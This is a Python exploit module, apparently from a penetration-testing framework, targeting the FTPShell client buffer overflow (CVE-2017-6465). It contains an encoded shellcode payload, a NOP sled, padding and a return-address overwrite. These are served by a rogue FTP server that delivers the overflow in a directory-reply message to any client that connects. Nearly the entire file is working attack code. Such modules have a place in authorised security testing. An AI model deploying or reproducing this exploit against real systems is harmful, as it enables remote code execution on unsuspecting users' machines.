import socket
import sys
from core.module_obtainer import obtainer
from utilities.color import *

info = {
        'author'            :'Peter Baris',
        'date'              :'2017/3/4',
        'rank'              :'Excellent',
        'path'              :'exploit/windows/ftp/ftpshell_overflow.py',
        'category'          :'exploit',
        'license'           :'GPL-2.0',
        'description'       :'exploit ftpshell client buffer oveflow',
        'references'        :['ftpshell.com/downloadclient.htm','securityfocus.com/bid/96570/info']
}
extra_info = {
        'cve'               : ['CVE-2017-6465']
}
options = {
        'target'            :['Yes', 'use to set target','']
}
required = {
        'start_required'     :'True',
        'check_required'     :'False'
}

def exploit():
    shell=("\xdb\xce\xbf\xaa\xcc\x44\xc9\xd9\x74\x24\xf4\x5a\x29\xc9\xb1"
    "\x52\x83\xc2\x04\x31\x7a\x13\x03\xd0\xdf\xa6\x3c\xd8\x08\xa4"
    "\xbf\x20\xc9\xc9\x36\xc5\xf8\xc9\x2d\x8e\xab\xf9\x26\xc2\x47"
    "\x71\x6a\xf6\xdc\xf7\xa3\xf9\x55\xbd\x95\x34\x65\xee\xe6\x57"
    "\xe5\xed\x3a\xb7\xd4\x3d\x4f\xb6\x11\x23\xa2\xea\xca\x2f\x11"
    "\x1a\x7e\x65\xaa\x91\xcc\x6b\xaa\x46\x84\x8a\x9b\xd9\x9e\xd4"
    "\x3b\xd8\x73\x6d\x72\xc2\x90\x48\xcc\x79\x62\x26\xcf\xab\xba"
    "\xc7\x7c\x92\x72\x3a\x7c\xd3\xb5\xa5\x0b\x2d\xc6\x58\x0c\xea"
    "\xb4\x86\x99\xe8\x1f\x4c\x39\xd4\x9e\x81\xdc\x9f\xad\x6e\xaa"
    "\xc7\xb1\x71\x7f\x7c\xcd\xfa\x7e\x52\x47\xb8\xa4\x76\x03\x1a"
    "\xc4\x2f\xe9\xcd\xf9\x2f\x52\xb1\x5f\x24\x7f\xa6\xed\x67\xe8"
    "\x0b\xdc\x97\xe8\x03\x57\xe4\xda\x8c\xc3\x62\x57\x44\xca\x75"
    "\x98\x7f\xaa\xe9\x67\x80\xcb\x20\xac\xd4\x9b\x5a\x05\x55\x70"
    "\x9a\xaa\x80\xd7\xca\x04\x7b\x98\xba\xe4\x2b\x70\xd0\xea\x14"
    "\x60\xdb\x20\x3d\x0b\x26\xa3\x82\x64\xee\xb3\x6b\x77\xee\xa2"
    "\x37\xfe\x08\xae\xd7\x56\x83\x47\x41\xf3\x5f\xf9\x8e\x29\x1a"
    "\x39\x04\xde\xdb\xf4\xed\xab\xcf\x61\x1e\xe6\xad\x24\x21\xdc"
    "\xd9\xab\xb0\xbb\x19\xa5\xa8\x13\x4e\xe2\x1f\x6a\x1a\x1e\x39"
    "\xc4\x38\xe3\xdf\x2f\xf8\x38\x1c\xb1\x01\xcc\x18\x95\x11\x08"
    "\xa0\x91\x45\xc4\xf7\x4f\x33\xa2\xa1\x21\xed\x7c\x1d\xe8\x79"
    "\xf8\x6d\x2b\xff\x05\xb8\xdd\x1f\xb7\x15\x98\x20\x78\xf2\x2c"
    "\x59\x64\x62\xd2\xb0\x2c\x92\x99\x98\x05\x3b\x44\x49\x14\x26"
    "\x77\xa4\x5b\x5f\xf4\x4c\x24\xa4\xe4\x25\x21\xe0\xa2\xd6\x5b"
    "\x79\x47\xd8\xc8\x7a\x42")

    port = 21

    try:
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.bind((str(obtainer.options['target'][2]), port))
            s.listen(5)
            eip = "\xdc\x95\x4b"
            nops = "\x90"*8
            junk = "A"*(400-len(nops)-len(shell))
            buffer = nops + shell + junk + eip
            print(blue("[~]") + green(" FTP") + " server started on port: "+str(port))
            while True:
                conn, addr = s.accept()
                conn.send('220 Welcome to your unfriendly FTP server\r\n')
                print(conn.recv(1024))
                conn.send("331 OK\r\n")
                print(conn.recv(1024))
                conn.send('230 OK\r\n')
                print(conn.recv(1024))
                conn.send('220 "'+buffer+'" is current directory\r\n')
    except Exception:
            print(red("[!]") + green(" Failed") + " to bind the server to port: "+str(port))
            pass
